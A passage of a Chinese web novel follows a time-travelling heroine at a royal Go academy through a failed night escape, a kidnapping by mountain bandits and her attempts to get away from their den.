而徐颂祁姿势端正地坐在桌前无动于衷,甚至觉得洛青尹太吵了叫他出去,可他只能无视徐颂祁的话,一边记仇一边执行惩罚。
换作往常,宋锦瑶高低也会和大家一同嘲笑洛青尹,可经历昨夜种种,她一夜未眠
宋锦瑶无精打采走到座位前坐下,脑袋昏昏欲睡,周围的欢声笑语仿佛隔着一层纱,变得模糊不清。
夫子在前面讲课,她撑着脑袋听得云里雾里,困得眼皮似有千斤重。听着听着,耳边的声音逐渐模糊,渐渐地整个人便没了意识。
突然,夫子怒吼声就像一道惊雷,在她耳边炸开,动作更是行云流水,领起一枚棋子快速往她头上丢,精准无误砸中。
“宋锦瑶!你在干嘛!?”
在痛觉和听觉双重打击下,宋锦瑶猛然惊醒,她几乎条件反射立马站起身,嘴里含糊一句:“到!”洪亮且真诚。
众人:“……”
宋锦瑶:“……”
该死,她忘了这里不是现代学校。
一时间,学堂内一片死寂。夫子强忍怒火,手指着她,怒声道:“宋锦瑶你给我出去,没有我的允许谁来了也不好使!”
宋锦瑶顿时觉得欲哭无泪,感觉自己冤枉啊,她也不想发困,都怪……她思索片刻,还是认为怪自己比较好。
她靠在墙上,抬头望向天边的太阳,身后不断传来夫子教学的声音,困意感竟又莫名席卷大脑,但没了桌子支撑点,她索性蹲在地上听课。阳光洒在她的身上,拉出一道长长的影子,
不知过了多久,直到她察觉到有人静悄悄走到自己面前蹲下,紧接着一道温柔的声音在她头顶响起。
“怎么站在外面都能睡着?昨天没休息好吗?”
她迷迷糊糊睁开眼看清来人是徐颂祁,原本还在紧张的心一下松了下来。
她将脸埋进膝盖,声音含糊不清说道:“别提了,话说怎么就你一人出来,夫子呢?”
“里面在进行围棋对弈,胜者可提前出来。”徐颂祁撑着脑袋,笑眯眯地看着她,“夫子让我告诉你个好消息。”
闻言,宋锦瑶不明所以地抬头对上那双眉眼弯弯的眼睛。
黄昏时分,晚霞漫天。
锦瑶独自坐在空荡荡的学堂内,面前摊着未抄完的围棋法则,手上动作根本不敢停息。
说什么好消息,好消息就是夫子命令她罚抄十遍吗?
她心有不甘但又无可奈何,一个人坐在这里写得昏昏欲睡,为了打发时间,她一边抄写一边和系统聊起天。
“系统,你有一键罚抄功能吗?”
【抱歉宿主,商店中未找到此功能。】
“系统,你能帮我写吗?我手好疼。”
【抱歉宿主,此行为不符合规则。】
宋锦瑶暗暗吐槽道:“你这也不会,那也不会,到底有什么用?”
“你在与谁说话?”突然,一道声音在她耳边响起,吓得她差点跳起来。宋锦瑶惊恐转过头,只见徐颂祁不知何时站在她身后,正一脸疑惑地看着她。
宋锦瑶故装镇定地轻咳两声:“我…没说话啊,你听错了,我刚刚在发呆碎碎念呢。”
徐颂祁狐疑地盯着她,见她满脸的不自然,想了想便也不再追问。他缓缓在她身旁坐下,目光扫过棋盘和那潦草的字迹,轻轻叹了口气。
注意到她棋盘上的走势,徐颂祁微微皱眉:“这盘棋局可是你一人所下?”
“嗯。”宋锦瑶无精打采地应了一声,头也不抬地继续抄写着。
徐颂祁仔细端详着棋局,语气不解道:“为何黑子被白子夹击,却不选择吃掉白子,反而往白子包围圈里下?正常走法不应该是将白子吃净吗?”
宋锦瑶没太在意,随口敷衍道:这不是基础知识吗?我记得课本上有写…。”
话音未落,她猛地望向盘棋局,后知后觉才意识到自己下的这盘棋,完全按照现代围棋法下,这个时代的人当然没见过。
见她不说话,徐颂祁追问道:“课本?我怎么不记得有先生教授此种棋法?”
徐颂祁步步逼近宋锦瑶,两人距离越来越近,吓得宋锦瑶连连后退。
宋锦瑶硬着头皮解释道:“王爷,我刚刚说错了,这个棋法其实是我自己苦思研究出来的,这世上目前只有我一人知晓……”她越说越离谱,甚至说到后面实在编不下去。
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两人一攻一退,场面一发不可收拾,很快宋锦瑶被迫压在身下,她只能眨巴着眼睛装无辜看着身上的徐颂祁。
徐颂祁眯着狭长的眼睛,微微皱眉道:“宋锦瑶,你该不会背着夫子偷偷在外面拜师吧?”
两人几乎贴在一起,都能明显感觉到对方呼吸起伏。
宋锦瑶没有说话,羞红了脸低眸不敢看他,直到廊外响起一道惊愕的声音打破此刻的气氛。
洛青尹瞧见两人莫名姿势和不对劲的气氛,脸上笑容戛然而止,手指颤抖地指着他们两人:“你你你!!你们在干嘛!这里是学堂啊!”
听到廊外有声音,宋锦瑶猛地将徐颂祁推开,慌乱地转过头,不敢直视徐颂祁的眼睛。
洛青尹显然没有意识到事情的严重性,脸上带着一丝八卦的兴奋:“徐颂祁,我知道你们关系匪浅,但也不能在学堂里这般行事吧!若是被夫子发现……”
话还没说话,徐颂祁冷冰冰地斜视瞥了他一眼,语气没了往日的温和,反而更多的是被打扰的烦躁:“闭嘴。刚刚你什么也没看到,要是让我知道第四个人知道,你就完了。”
洛青尹那叫个有苦说不出,为自己打抱不平道:“又不是我故意的!徐颂祁还有没有王法啊!”
徐颂祁:“我就是王法。”
洛青尹不甘心地低头,又看了眼没说话的宋锦瑶,气鼓鼓威胁道:“你俩可别让小爷碰到第二次!不然…我就真的告诉夫子!”说罢,他气势汹汹扭头而去。
没了喧闹声,学堂内又恢复如初。徐颂祁回眸查看宋锦瑶状况,只见她依旧将自己头埋起来,身体更是在微微颤抖。
见状,徐颂祁有些担心,刚想伸手却被她即使阻止。
宋锦瑶含糊着声音,让人听不出来任何情绪:“抱歉王爷,我失陪了。”
不等徐颂祁回应,便匆匆起身,头也不回地逃离了学堂,生怕晚一秒就会被徐颂祁叫住。
风在耳边呼啸而过,本该凉爽的微风此刻却带着一丝灼热,宋锦瑶的脸颊滚烫,整个大脑都感觉晕乎乎的,要是被人瞧见这个模样,指不定又会被人嘲笑。
她不能再呆在这里了,再这么下去,指不定会闹出什么幺蛾子,她必须跑,今晚就跑。
一进房间,她便火急火燎掏出包裹,三两下功夫将包裹打包好,途中手上动作就没停下来过。
小厌闻声赶来瞧见这一幕,一下子云里雾里,疑惑道:“小姐这是何以?是要离开吗?徐公子知道吗?”
宋锦瑶气喘吁吁看着小厌,汗水顺着脸颊滑落,她来不及解释,只是急切地说道:“就是不能让他知道!小厌我们今晚就走。”
“可是小姐你的脸好红,你还好吗?”
“好得很,我感觉我从来没这么好过。”
虽说小厌不太了解具体发生什么,但见宋锦瑶这架势,便也听话的快速收拾好包裹。
两人趁着月色渐浓离开,为了不被别人发现,宋锦瑶和小厌特意伪装成下人模样。
之前听闻皇室围棋学堂有后门,宋锦瑶为了不打草惊蛇果断选择走后门,她静悄悄带着小厌躲过一切可疑人物,沿着墙边没走多远,果然看到后门的痕迹。
宋锦瑶顿时松了口气,暗爽就这?刚挺直腰板踏进后面领域,却不料下一秒从身后响起一道严肃声音。
“谁在那里?”
那人声音洪亮且刚正,丝毫不惧怕宋锦瑶,甚至在看到她们身上带着包裹,瞬间警惕心大增,以为是盗窃份子。
那人厉声喝道:“放下包裹把头转过来!”
宋锦瑶欲哭无泪,只能呆在原地根本不敢动,直到身后传来那人的脚步声。
“我再说一遍把头转过来,不然格杀勿论。”
8. 008
随着脚步声步步逼近,宋锦瑶的心瞬间揪紧,她迅速给小厌递去一个眼色,小厌心领神会,双手紧紧攥住包裹的带子,身体紧绷随时准备进攻。
那人刚要伸手去拽宋锦瑶,千钧一发之际,小厌瞅准时机,抡起包裹,使出全身力气狠狠砸向那人的脸。与此同时,宋锦瑶也迅速转身,双手精准地捂住对方的眼睛,试图让他暂时失去方向感。
刹那间,场面陷入一片混乱。宋锦瑶心急如焚,她双手举起包裹想将身下的人击晕,奈何他挣扎得太厉害,更本没办法捂住他那不断叫嚷的嘴。
“我再说最后一次……唔%#…放手!别…别拉我裤子!”
洛青尹死死抓住裤子,他被两个女人摁倒在地上束手无策,只能扯着嗓子大声呼救,声音在寂静的夜里格外刺耳。
宋锦瑶见状,生怕他引来其他人,刚想伸手制止,不慎抬手瞬间被对方抓住,局势立马扭转。
洛青尹趁势而起,将宋锦瑶狠狠摁在地上,指尖死死掐住宋锦瑶脖颈,只要稍微用力,她便立马会死去。
“小姐!”小厌吓得脸色惨白,见洛青尹脸上带有余温,根本不敢动。
月亮从乌云中显露出来,清冷的月光幽幽洒在宋锦瑶的脸上,洛青尹借着月光看清她的容貌。整个人瞬间愣住,脸上满是惊愕与疑惑,不解问道。
“是你?大晚上的你不好好呆在房间里,鬼鬼祟祟拿着包裹干嘛!”
宋锦瑶瘫坐在地上,大口大口喘着粗气,猛烈地咳嗽,刚才被掐得几乎窒息,显然没工夫和他解释。
小厌眼含泪水,替她解释道:“小姐今晚想离开,但又不想惊动大家,所以才选择从后门走,谁能想到会在这里碰到公子。”
宋锦瑶缓过神来,眼神中带着一丝不屑,冷冷地看着洛青尹:“所以洛公子是要将我抓回去,然后告诉所有人我宋锦瑶是这种偷偷摸摸的人吗?”
洛青尹没有说话,他直勾勾盯着她,眼中闪过一丝异样情绪。良久,缓缓开口道:“既然宋小姐心意已决,那我便成全你,反正这皇室围棋也不适合你这种人加入。”
听这语气,显然还对傍晚发生的事情耿耿于怀。不过宋锦瑶此刻也顾不上这些,只要能离开,她便觉得无所谓。
洛青尹带着两人悄悄溜出后门,一路上竟意外顺利,反而给了她一种不好的预感。
看着下山的陆,洛青尹心情莫名好起来,他侧过头看着宋锦瑶说道:“你沿着这条路一直走,山下有专门的马车场,可以送你们回去。”
宋锦瑶刚要开口道谢,突然,身后传来一阵急促的脚步声,紧接着,一群士兵整齐出现在他们面前。其中为首那人望着他们,呵斥道。
“三个偷窃贼,还不束手就擒!”
宋锦瑶听到这个声音,立刻意识到对方是常玉恒。洛青尹也气得满脸通红,他狠狠地瞪着常玉恒,此刻也顾不上被莫名其妙安上的罪名,只要不被发现面子就还在。
他冲着宋锦瑶和小厌喊道:“别被他们抓住了,跟紧我!”
洛青尹带着两人朝山下小路狂奔,身后不断传来脚步声,他们根本无法甩开,且常玉恒人手太多,被抓只是早晚的事情。
可要是被抓回去,别提会发生什么,不仅宋锦瑶一个人受处罚,还会拖累小厌和洛青尹。
慌乱之中,小厌来不及看路,一不小心踩到小碎石,脚直接崴出去,整个人摔倒在地上无法动弹。
宋锦瑶听到身后的动静,急忙回头,她毫不犹豫停下脚步,转身朝小厌跑去。就在这时,手腕突然被人紧紧拉住,她回头一看,对上洛青尹那双幽暗焦急的眼睛。
洛青尹着急催促道:“别管她了,再不走,谁都跑不了!”
“不行,不能丢下小厌!”宋锦瑶喊道,“要罚就一起,若洛公子害怕被发现,可以自行离开,我也绝不会暴露公子。”
洛青尹手指用力泛白,咬牙切止道:“宋锦瑶你疯了吗?她只不过个丫鬟,不值得你舍身冒险。”
她脸上早已没了好气,怒怼道:“小厌不是丫鬟,她是有血有肉、有感情的人,也和公子一样有尊严。倘若身份卑微便要舍弃,我想我也不值得公子舍身相救,公子请便吧。”
拉扯间,洛青尹脸上闪过复杂情绪,索性放开宋锦瑶的手:“好,宋锦瑶,既然你这么想受罚,那我就成全你!”
说完,他转身就走。就在瞬间,常玉恒手下眼疾手快,捡起石子精准无误砸中洛青尹小腿。洛青尹顿时感到一阵剧痛从腿部传来,整个人不由自主地向后倒去。
慌乱中,他下意识伸手乱抓,恰好扯住宋锦瑶的衣角,两人就这样顺着斜坡一路滚下去。
耳边是呼呼的风声和草木被压到的沙沙声响,宋锦瑶只觉得天旋地转。不知滚了多久,两人终于在一片灌木丛中停下。
借着微弱的月光,她隐约看到洛青尹躺在旁边,双眼紧闭。还没等她开口询问,一阵强烈的眩晕感袭来,她两眼一黑,昏死过去。
等宋锦瑶有意识醒来后,只感到脑袋异常疼。她缓缓睁开眼,映入眼帘的便是趴在床头睡着了的小厌。
周围依旧是熟悉的环境,她差点以为自己已经回去了,结果还在皇室围棋学堂内,该受罚的终究还是跑不了。
察觉到床上有动静,小厌随着睁开眼,看到她醒过来,脸色止不住开心:“小姐你终于醒过来了,昨晚可把我吓坏了。”
说着,她连忙起身朝门外跑,幸好被宋锦瑶及时阻拦下来:“你要去哪?还有洛青尹呢?”
小厌心虚道:“昨晚我们和洛公子出逃的事情被王爷知道了,当时王爷脸色阴沉得可怕。不过,看着你们昏迷不醒的样子,王爷说等小姐和公子醒了之后再说。”
这么一听,宋锦瑶内心顿时感到崩溃,还不如昨晚就这么死了算了。
经经过昨晚那场闹剧,今日的学堂格外安静,安静得有些诡异。
宋锦瑶独自走在走廊上,心里不停嘀咕着,要是对方逼迫她干啥,她就干脆破罐子破摔,大不了鱼死网破。
她停在风屏外,深吸一口气,做好与众人争吵的准备。然而风屏内,却只有徐颂祁一人。
徐颂祁和往常一样,白袍加身眉眼间竟享风雅,他静静地坐在那里,看似悠闲地研究着围棋,然而周围的气氛却压抑得让人窒息,甚至让人察觉到危险。
宋锦瑶顿时松了口气,故作轻松道:“吓死我了,我还以为是夫子呢。”
她快步上前,好奇地打量着徐颂祁棋盘上的局势。垂眸一看,瞬间认出他下的棋法就是她撒谎的走法。宋锦瑶顿时感到后背一凉,有些疑惑但又不敢贸然开口询问。
徐宋祁没有看她,只是淡淡道:“宋小姐不妨帮本王看看,这盘棋是不是和你之前下的一样?”
宋锦瑶:“……”
徐颂祁轻蔑地抬眸打量着她,那双冷冰冰的眼睛让宋锦瑶感到一阵陌生和恐惧。
在她注视下,徐颂祁不紧不慢地拿起黑子,将白子彻底吃净,不给白子任何反败为胜的余地。
徐颂祁抬眸看向宋锦瑶,淡然道:“宋小姐为何不说话?是本王下得不对,还是你心里在想别的事?”
徐颂祁下得没错,甚至整个棋局走势都比她要好。他仅仅看
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了一眼,就能完美复刻出相似的棋法,而且还能结合当下的棋风,自创出独特的棋艺。
宋锦瑶轻笑道:“王爷说笑了,自然心里想着棋盘上的事情。”
闻言,徐颂祁没有任何反应,他凝视着她的眼睛,质疑道:“宋锦瑶,到底发生了什么,你就这么想离开?”
宋锦瑶抬头与他四目对视,察觉到对方眼底有一丝不爽,她慌忙解释道:“没有,是我自己想走的,我觉得自己不仅惹夫子厌烦,还扰乱王爷的规矩。”
见徐颂祁又朝她步步紧逼,吓得宋锦瑶条件反射拔腿就想跑,衣领就被人从后面紧紧揪住,这下跑也跑不了了。
“撒谎。”他冷冷道,“宋锦瑶,你为何会和洛青尹在一起?为何要选择和他一起走?为何两人会在深夜从后面逃跑!”
原本她还没意识到徐颂祁为什么这么生气,这么一想,确实有些不对劲,就感觉像在……偷情。
宋锦瑶连忙解释不是他想象中那样,奈何王爷不听,只愿意相信昨晚看到的一切。
回想到昨晚昏死前一幕,她急忙关心询问道:“洛青尹呢?他身体怎么样?我记得他比我摔得还要惨。”
徐颂祁:“……”
宋锦瑶一脸懵逼地看着他,见他脸色瞬间变得阴沉无比。他松开宋锦瑶衣领,嫌弃似的拍了拍手,随后重新坐回椅子上。
难道她不应该关心一下同伴吗?而且她是真的好奇洛青尹状况怎么样,具体受到什么处罚,毕竟她也不想欠别人人情。
宋锦瑶缓缓朝他走近,时刻关注他的情绪,生怕又惹到王爷哪里不高兴,试探性询问道:“王爷?要是夫子不在的话,我隔日再来?”
徐颂祁猛地起身,冷眼瞥了她一眼,语气冰冷道:夫子让你禁闭七日。如果在这期间你还去见其他男人,就永远留在皇室围棋学堂内。”说完,不等宋锦瑶反驳,他便拂袖而去。
?
宋锦瑶愣在原地,缓了好半天也没理解这算哪门子的处罚,总感觉夹带些私活。
果然,这七日内,宋锦瑶除了能见到小厌和一些普通下人之外,再也没有见过其他男人。就连学堂里的侍卫都站在她的院外,不敢轻易进来。
她每天除了研究围棋外,还跟着小厌学起了剪纸。看着普通的纸张能剪出各种各样的形状,倒也算别有一番乐趣。
第七日的傍晚,宋锦瑶闲来无事,便坐在院内的大树下下棋。正思索下一步落棋点时,听到院外传来交接声,紧接着,最后一个站在院外的侍卫也跟着走了。
其实从几天前起,宋锦瑶就敏锐地察觉到皇室围棋学堂内的侍卫少了很多。听小厌说,最近京城不太太平,皇室对此高度重视,特意派徐颂祁去调查。
也罢,毕竟她身处皇室学堂,安全方面应该还是有保障的。目前看来,最危险的人恐怕就是那个阴晴不定的徐颂祁了。
深夜,宋锦瑶坐在桌前迟迟没有睡下,而是仔细完成小厌教她最后一步剪纸,注意力全集中在纸张上,丝毫没有察觉到廊外传来的细微动静。
直到动静响在她房门前,这下宋锦瑶才从剪纸上反应过来,听到门外传来走步声,她微皱眉头,以为又是徐颂祁,于是没有任何犹豫,直接起身朝着门口走去。
房门打开的瞬间,外面空无一人。宋锦瑶叹了口气,刚要开口说话,突然,一把锋利的刀刃抵在她的脖颈处,紧接着,一个冰冷而陌生的声音在她耳边响起。
“别动。”
一道极其冷漠无情的声音,透着让人胆寒的危险气息,宋锦瑶注意到周围异常安静,立马意识到对方目标就是自己。
9. 009
那人粗暴地拽着宋锦瑶,一步步走出学堂。
她的余光瞥见外面有同伙在虎视眈眈守着,心下明白此刻反抗只会让情况更糟,便暂且按捺住挣扎的冲动。
他们将宋锦瑶眼睛蒙住,车内,她只能凭借听觉去捕捉周围动静。
车轮辘辘作响,时间仿佛被无限拉长,她完全分不清此刻是白昼还是黑夜,只觉得每一分每一秒都无比煎熬,
终于,他们停下来,听周围环境她心中暗自猜测在山匪头子窝。她被人威胁着下车,每走一步,都能敏锐听到周围的唏嘘声,以及无数目光落在自己身上。
“这娃娃长得也忒好看了吧,看来那小子说的真没错。”
“听说是御史府嫡女,而且被王爷赏识,人是从皇室哪里绑回来的。”
“……”
细碎的杂声不断在宋锦瑶耳边回响,她强忍着恶心,硬着头皮被人拉扯着走。直到那人将她带到大厅,强迫她跪下后,才猛地扯下眼罩。
突如其来的光亮让宋锦瑶眼睛一阵刺痛,她缓了一会才适应过来。跪在地上,她茫然地环顾四周,果然和她猜想的一样,自己身在山匪窝,周围全是大大小小的山匪。
她就像个逮捕的羔羊,被这些人肆意打量着,他们带着贪婪、下流的目光,随意说出恶心的话语。
为首的山匪头子坐在石椅上,高高在上地俯视着宋锦瑶,那副嘴脸仿佛在审视一件到手的猎物:“你就是宋锦瑶?有人花了大价钱买你的命,只要把你处理掉,他就能满足我的任何要求。”
说着,他盯着宋锦瑶的脸蛋,嘴角微微上扬:“本来我对你们这些高门大户的人没什么兴趣,不过现在看来,倒是有点明白那人的心思。”
宋锦瑶双手被绑在身后,嘴巴也被堵上粗布,纵使如何挣扎也无济于事。
周围的山匪们不断起哄,甚至有人叫嚷着要给她灌药。
面对未知的恐惧,她的身体不受控制地发抖,但她知道,此刻必须强迫自己镇定下来,保持绝对清醒。
山匪头子身躯微弯,猛地凑近宋锦瑶,仔细端详这张脸,饶有兴趣开口道:“说,皇室到底在谋划什么?还有,把王爷的行踪一五一十地告诉我!”
宋锦瑶愣在原地,一脸惊恐地盯着山匪头子那张狰狞的脸,极力摇头表示不知,可对方显然不相信她的话。
这时,周围人又起哄起来,言语间满是嘲讽:“老大,别跟她废话了,这女人肯定和王爷有一腿,听说那边的人早就知道这事了。”
“就是,老大,这女人长得确实有几分姿色,难怪能勾搭上王爷,听说前不久还和另一个公子私奔,闹得沸沸扬扬。”
宋锦瑶心中满是疑惑,自己怎么不知道还有这回事?
听闻,山匪头子起身朝着周围的弟兄们郑重其事地宣布:“这女人若当真有这么厉害,那我就娶她做压寨夫人,让她给我传宗接代,婚约就在明天晚上举行。”
片刻,空荡荡的山洞内响起一片庆祝喝彩。
事情发生得太突然,过多的信息量一下子让她没反应过来。
是谁买通她的命?
他们就是最近京城闹事的人吗?
目的到底是什么?
只是简单杀人娶妻,还是想利用她引出徐颂祁?
随后,山匪头子怕宋锦瑶不乖乖听话,让人将她强制灌下不知名药喝下去,直到碗里一点不剩后,他才心有不甘命令人将她带走。
她被丢弃在一间茅草房里,周围死一般的寂静,显然没有人在附近看守。
狭小的空间里只有从缝隙中透进来的几缕微弱光线。
自从喝下药后,宋锦瑶整个人就不太对劲,脑袋异常昏沉,身体更是软弱无力,全身上下只能靠虚弱意识支撑着。
她知道自己一旦睡着,再次醒来便是天翻地覆的变化。她不能让任何人得逞,为了保持绝对清醒,她只能蹭落发簪刺进手臂里,靠疼痛感维持一丝理智。
双手被绑着坐以待毙不是办法,如今能救自己的只有靠自己。宋锦瑶靠在墙上,突然灵机一动,想起自己并非孤立无援。
宋锦瑶朝着空气虚弱喊去:“系统你在吗,有什么技能道具能让我清醒?”
果不其然下一秒,冰冷的电子语音在脑中回响。
【找到道具-免疫药,检测到宿主积分不足,无法兑换。】
她确实很久没使用技能下围棋了,这么一说她竟无法反驳。
宋锦瑶耍起无赖,苦苦哀求道:“事态紧急能不能先欠着?日后出去我一定双倍还。”
【检测失败,积分不够无法兑换。】
“系统,我都是个将死之人了,不能行行好就放我一回啊?到时候我死了你也好不到哪里啊。行行好,就一次。”
【检测失败,积分不够无法兑换。】
“你看我又是被绑架、又是被灌药、又是被囚禁。哪有宿主像我这么倒霉的?要是传出去,你的名声也不好听啊。你就不能大发慈悲,通融通融?”
【……】
“系统,要是你不帮我……”
宋锦瑶的话还没说完,就被一道略显无奈的语音打断:
【恭喜宿主成功兑换临时免疫药-使用指南:对宿主身体及意识,可暂时免疫任何状况。因是临时技能,药剂只能维持在一日内完成。】
几乎是瞬间,宋锦瑶就感觉自己的意识清醒许多,体力也渐渐恢复些。
幸好山匪绑她的时候不太牢固,宋锦瑶三两下功夫便将绳子解开,看着手臂还渗出鲜血,她只能撕下裙子一角,简单包扎。
从眼罩拿开后,她就察觉到这里的变化。山洞往往都在高处,而这里光线偏暗,由此可推出,现在是第二日申时。
她已经被绑近一日时辰,距离山匪头子所谓的婚事,也只不过剩下不到一日。
她尝试推开房门,果然被牢牢锁住,只不过周围并没有看门人,想必都认为她已经昏死过去。
宋锦瑶快速扫视屋内,几乎没有可用的工具,只有厚厚的茅草和几根零散的木头。
她沉思片刻,拿起一块木板从门缝里伸出去,也许是这把锁年久失修,没几下,锁就“哐当”一声掉在地上。
宋锦瑶暗自松了口气,刚想推门而出,不料门前正巧路过几个山匪,他们手上不约而同拿着大红花环,脸上满是厌倦,嘴里叽叽喳喳谈论明晚的婚事。
等他们走远后,宋锦瑶才敢出来观察周围状况。
她这身衣裳过于招摇,她靠着记忆中的画面,依稀摸索坐在山洞间,好不容易找到山匪住宿后,她果断悄悄潜入。
此时,大部分山匪都去正厅布置婚礼,其他地方几乎没什么人。
宋锦瑶将发冠高束,换上常服,只要混淆在人群里,大抵看不出任何不对。
她一路走到大厅,原本冷清的山洞此刻已经被布置得张灯结彩,到处都是红色的喜字贴纸。
周围的小弟条条有序忙着手头上的工作,动作熟练得已经形成肌肉记忆。
她本想趁人不备偷偷溜走,不料身后立马响起一道声音,宋锦瑶自然不敢去看那人的
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眼睛,只能将头低垂。
那人捧着一大束假花递给宋锦瑶,愁眉苦脸道:“喂,没看到大伙都在忙吗?去把这假花插到花瓶里。”
她接过假花遮住脸庞,连忙点头示意,转身之际,突然又被身后的人叫住:“新来的?长得这么水灵,咋之前没见过你?转过身让我仔细瞧瞧。”
此话一出,宋锦瑶立马愣在原地,瞬间感觉身后有双凶狠的眼睛死死盯着自己看,她手指紧紧扣住花束,心里快速嘀咕这下一步计划。
“喂,我跟你讲话呢!转过身给我看看。”那人见她不动,眉头皱得更紧,伸手就要去抓她的肩膀。
宋锦瑶屏住呼吸,手指因为用力而泛白。她心想,只要这人敢碰自己一下,就立刻用花砸他的脸。
就在这千钧一发之际,另一个声音突然喊道:“二当家,老大找你有事,说是关于王爷的事要跟你商量。”
二当家盯着宋锦瑶的背影犹豫一下,缓缓放下了手,转身跟着那人走了。
宋锦瑶紧绷的神经这才放松下来,等她回过神来,才发现自己的指尖已经冰凉,身体也有些僵硬。
他们刚刚说有关于徐颂祁的事?难道他已经发现自己不见了?
宋锦瑶捧着假花走到花瓶边,心里忍不住胡思乱想起来。
他会来救自己吗?明明两人才刚闹掰,而且她还被禁足,他又有什么理由来救自己呢?
宋锦瑶心不在焉地插着花,耳朵却留意着周围人的谈话。
“老大不才上个月刚成完婚吗?这都第几个了?上次那个女的长得也不错啊。”
“老大的事咱们可不敢乱说,小心脑袋搬家。不过这次这个女的,我刚刚看了一眼,和上次那个简直没法比,不愧是皇室看上的人。”
“可不是嘛,这次多亏了傅氏通风报信,听说这女的不仅是御史台的人,还被王爷赏识,长得倾国倾城,怪不得老大动了心思。”
傅氏?难道是傅渊?
上次经历她历历在目,傅渊自始至终都瞧不起宋锦瑶。
宋锦瑶想起之前种种经历,傅渊一直对她不屑一顾。如果他听闻自己赢得围棋大赛,还被王爷邀请进皇室围棋课,那么他想要报复自己,也就说得通。
宋锦瑶动作一滞,连同呼吸都变得缓慢些,她想凑近些听清楚,不料引起那些人的注意。
和她一起插花的人满眼狐疑地看着她,眉头微蹙道:“你是新来的?不对啊,最近老大也没扩招兄弟啊。”
紧接着,另一个人也转头看向她,越看越眼熟:“我们是不是在哪见过?你长得好像……”
话音未落,洞口急匆匆跑过来一人,他脸色煞白,额头上全是汗珠,惊慌失措地大喊道。
“不好了,不好了,那药怎么不管用了?那女的跑了!”
听闻,正在插花的两个人对视一眼,立刻朝宋锦瑶的方向看去,却发现刚刚还在身边的人早已没了踪影。
深夜的寒风刺骨,宋锦瑶喘着粗气在走廊上拼命奔跑。纵使身体已经跑不动了,她也不敢停歇。
很快,警铃声在整个山匪窝响起,洞口也被迅速封锁起来。宋锦瑶站在走廊上,望着山下密密麻麻的看守,脸色顿时一沉。
紧接着,身后传来阵阵脚步声,她刚想继续逃跑,不料前面也响起脚步声。
意识到被包围,宋锦瑶靠在被锁的房门前,根本无法让自己快速镇定下来。
怎么办,要是被抓回去肯定不会善罢甘休。
宋锦瑶脑袋一片空白,身子更是止不住颤抖。
10. 010
突然,宋锦瑶身后的房门倏然被打开,一股大力瞬间将她往屋内扯去,就在山匪扑空的前一秒,她险之又险地躲进去。
宋锦瑶后背重重撞在门上,大口大口喘着粗气,双眼惊恐地看向面前女子。
那女子双眸狐目,眉眼细长而含情,身着一袭织锦长裙。看到宋锦瑶这副狼狈模样,她眉头轻皱,嘴角下撇,嫌弃地甩了甩手。
清冷山洞内竟有如此美艳女子。
宋锦瑶警惕地打量着眼前女子,直到对方不屑道:“你就是老大明晚成亲的小女子?听闻还被王爷重视才华横溢?”
说罢,她突然凑近,目光像一把利刃在宋锦瑶脸上刮过,鄙夷地扯了扯嘴角:“也不过如此。”
宋锦瑶并不在意她的刻薄言语,匆忙行礼道谢,可对方视而不见。转身自顾自地坐在了椅子上。
她拿起酒壶,慢悠悠地斟满酒杯,递向宋锦瑶,见对方不为所动,不禁轻声嗤笑:“怎么?怕我在酒里下毒?还是觉得我别有用心?”
语毕,她挑衅地盯着宋锦瑶,仰头将酒一饮而尽,酒水沿着嘴角滑落,滴在她的衣襟上。
见她无事,宋锦瑶才在旁边落座,望着杯中澄澈的酒液,一仰头也喝了下去。
待看到宋锦瑶的酒杯空了,那女子紧绷的面容才缓和下来,轻声说道:“我叫落画,本是京城中一个平凡女子,自幼父母双亡,靠着一点手艺勉强糊口,却不想被这山匪头子相中,强占了身子后,便将我丢在这,再也没来看过一眼。”
说到此处,她的眼眶泛红,声音也染上哭腔,拿起手帕轻轻擦拭眼角:“我见姑娘你青春年少又有才学,不忍看你落入他人之手,才让你喝下这杯酒表示衷心,若刚刚冒犯到姑娘,还请原谅。”
“不知姑娘觉得这杯酒如何?”落画眼中闪过一丝不易察觉的紧张。
宋锦瑶听闻她的遭遇,手中的酒杯微微收紧,神色凝重地说道:“这酒尚可,若姑娘愿意助我一臂之力,待我出去,定会带你一同离开……”
话音未落,宋锦瑶顿感脑袋昏沉,整个人开始摇摇晃晃,眼前事物瞬间模糊起来,甚至耳畔的声音逐渐消失。
她强忍着意识,指着落画问道:“这酒有毒?”
落画柳眉一挑,将酒杯再次斟满,在宋锦瑶注视下又喝了一杯,没好气地说道:“姑娘这是何意?我早说过,酒里没毒,有毒的是你的杯子。”
宋锦瑶仅凭最后一丝意识,将酒杯推倒在地,玻璃顿时在房间内碎开,声音响彻整个房间。
她虚弱地趴在桌子上,质问道:“为什么…我可以带你回去的。”
落画见状,嗤笑道:“宋锦瑶,你以为这是什么地方?想来就来,想走就走?你以为我没想过逃吗!逃不掉,他们根本不会放你走的!”
窒息的安静只剩下她撕心裂肺的声音,落画眼眶溢出泪水,脸上却挂着扭曲的快意。
她咬牙切齿喊道:“我就是恨透了你们这些世家子弟,都怪你们,若不是你们,我怎会落到这般田地!老大说了,谁要是把你抓回去,就满足他一个愿望。”
“我只想回家,谁也不能阻止我回家!”她声音充满绝望与无助,“所以,只好委屈你替我过接下来的日子了。”
落画起身朝门口走去,仿佛那扇门后就是她梦寐以求的自由生活。
就在她的手快要触碰到门时,脖子上突然一凉,宋锦瑶手持酒杯碎片抵在她的脖颈处,落画吓得浑身一颤,僵在原地,一动也不敢动。
宋锦瑶站在她的身后,语气森冷地说道:“落画姑娘,你的遭遇的确令人同情,但你这故事漏洞百出,不是吗?”
落画:“……”
落画抿紧嘴唇,不敢言语,低头看到近在咫尺的碎片,咽了咽口水,只觉得耳边宋锦瑶的声音如同恶魔的低语,让她脊背发凉。
就在这时,门外传来一阵杂乱的脚步声,显然是被刚才酒杯破碎的声音吸引而来。
“五夫人,里面怎么了?刚才动静是什么?”
宋锦瑶怕她暴露自己,便将碎片压紧些,一丝鲜血从落画的脖颈处渗出,她附在落画耳边低语道:“告诉他们你没事,要是敢多说一个字,我就在这儿杀了你,到时候你就永远回不去。”
落画僵在原地,浑身颤抖,感觉从头到脚一阵寒意。
她拼命点头,强装镇定地说道:“没事,刚才不小心打翻酒瓶而已。”
外面的人显然不太相信,在门口停留了片刻,接着威胁道:“五夫人今晚多加小心,要是瞧见位女子,还请即使捉拿,不然下场你懂得。”
说完,外面的脚步声渐渐远去,落画紧绷的身体这才松懈下来,脸色却依旧惨白,眼底满是惊恐。
